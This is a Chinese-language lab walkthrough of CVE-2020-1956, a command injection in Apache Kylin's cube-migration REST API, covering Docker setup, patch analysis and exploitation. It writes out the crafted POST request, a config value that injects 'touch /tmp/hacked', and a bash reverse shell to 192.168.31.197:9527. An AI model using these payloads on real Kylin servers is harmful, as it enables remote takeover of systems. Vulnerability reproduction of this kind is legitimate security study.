Apache Kylin是一個開源的、分布式的分析型資料倉庫,提供Hadoop/Spark之上的 SQL 查詢介面及多維分析(OLAP)能力以支持超大規模資料,最初由 eBay 開發并貢獻至開源社區,它能在亞秒內查詢巨大的表,

0x00 漏洞概述
漏洞編號:CVE-2020-1956,
Apache Kylin中存在一些RESTful API,可以將作業系統指令與用戶輸入的字串拼接起來,由于未對用戶輸入內容做充分校驗,攻擊者可以構造任意系統命令執行,
影響版本:
- Kylin 2.3.0-2.3.2
- Kylin 2.4.0-2.4.1
- Kylin 2.5.0-2.5.2
- Kylin 2.6.0-2.6.5
- Kylin 3.0.0-alpha
- Kylin 3.0.0-alpha2
- Kylin 3.0.0-beta
- Kylin 3.0.0-3.0.1
利用條件:
- 維持已登錄狀態
- 開啟了相關配置
0x01 鏡像部署
Kylin的環境非常復雜,包括 Hadoop、Hbase、Spark、Kafka 等等一系列的組件需要安裝配置,好在官方提供了做好的Docker:
docker pull apachekylin/apache-kylin-standalone:3.0.1
層數很多,且每層都不小,

docker run -d -p 7070:7070 -p 8088:8088 -p 50070:50070 -p 8032:8032 -p 8042:8042 -p 16010:16010 apachekylin/apache-kylin-standalone:3.0.1
需要等待Kylin完成初始化(1-2分鐘),其它埠(如8088、8032等)的服務都會先于Kylin運行起來,
默認賬戶為admin/KYLIN,進入后可以看到預置的模型,

0x02 漏洞補丁
漏洞補丁:KYLIN-4426 Refine CliCommandExecutor · apache/kylin@9cc3793 (github.com),

漏洞位于CubeService.java的migrateCube()函式,其中對待執行命令做格式化的String.format()未能做到充分過濾,導致RCE,涉及的引數有:srcCfgUri、dstCfgUri、projectName,
Migrate Cube

介面檔案顯示需要對路徑傳入兩個引數:cube和project,在Kylin頁面的表格中可以看到

選擇第一行的kylin_sales_cube以及對應的learn_kylin作為路徑引數來構造請求,

POST /kylin/api/cubes/kylin_sales_cube/learn_kylin/migrate HTTP/1.1
Host: 192.168.223.133:7070
Pragma: no-cache
Accept: application/json, text/plain, */*
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=08D6BE841D58B37D716D40185D465C7A
Connection: close
得到一個500,有大量的報錯資訊可以查看:

One click migration is disabled
這條提示作為鍵msg的值回傳,可以想見是在代碼中有硬編碼的,回去看漏洞補丁的代碼,就能發現這句話:

實際上就位于migrateCube函式的開頭,這里使用了config.isAllowAutoMigrateCube()進行攔截,也就是加載了開頭所說的“相關配置”,

配置項kylin.tool.auto-migrate-cube.enabled默認為FALSE(很不幸),在使用Docker的大前提下,有兩種修改該配置項的方法,持久性的修改需要進入容器,修改其中的conf/kylin.properties檔案,自行添加kylin.tool.auto-migrate-cube.enabled=true配置項,然后bin/kylin stop+bin/kylin start重啟Kylin,此外還可以直接在頁面進行暫時性的修改,
暫時性修改
在平臺的System一欄選擇Set Config,比較高級,不用查看整個組態檔,以鍵值方式進行更新,


配置立即生效,但是在行程重啟或選擇了本頁的Reload Config后就會失效,
Source configuration should not be empty
在修改完配置后重新發起一個POST,此時得到的回應就發生了變化:

這對應了專案代碼中對于非空的檢查:變數srcCfgUri和dstCfgUri,在檔案kylin/server-base/src/main/java/org/apache/kylin/rest/service/CubeService.java中就能看到

這兩個值同樣來自于配置項,分別對應的是kylin.tool.auto-migrate-cube.src-config和kylin.tool.auto-migrate-cube.dest-config,
kylin/core-common/src/main/java/org/apache/kylin/common/KylinConfigBase.java中使用了getOptional獲得配置,

配置這兩個引數就是使用前面配置kylin.tool.auto-migrate-cube.enabled同樣的方法,關注一下kylin/server-base/src/main/java/org/apache/kylin/rest/service/CubeService.java的1133行開始的命令格式化作業,在打過補丁后,此處會呼叫CliCommandExecutor.checkParameter來檢查我們能夠控制的變數srcCfgUri和dstCfgUri,

于是一目了然,這兩個變數直接表示命令注入的關鍵引數,
0x03 利用流程
任意寫檔案
嘗試用變數destCfgUri承載系統命令,再次去頁面Set Config,先將srcCfgUri配置為/home/admin/apache-kylin-3.0.1-bin-hbase1x/conf/kylin.propertie(注意不是變數自身作為鍵,而是其對應的配置項作為鍵),再將destCfgUri配置為/tmp/kylin.properties kylin_sales_cube learn_kylin true true true true; touch /tmp/hacked; echo,試圖寫入一個名為hacked的檔案,

再發起一個與先前一樣的POST請求,這次會得到200狀態(可能有一點延遲),
去Docker查看,發現寫入成功!

反彈Shell
寫檔案成功,寫反彈Shell似乎也就問題不大了,在之前的基礎上,將kylin.tool.auto-migrate-cube.dest-config配置為/tmp/kylin.properties kylin_sales_cube learn_kylin true true true true; bash -i >& /dev/tcp/192.168.31.197/9527 0>&1; echo,然后執行同樣的POST,不同于寫檔案任務,監聽在主動斷開前保持作業,所以這次POST將會一直處在等待回應的狀態,
攻擊機很快就拿到了Shell:

Over!
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/299885.html
標籤:其他
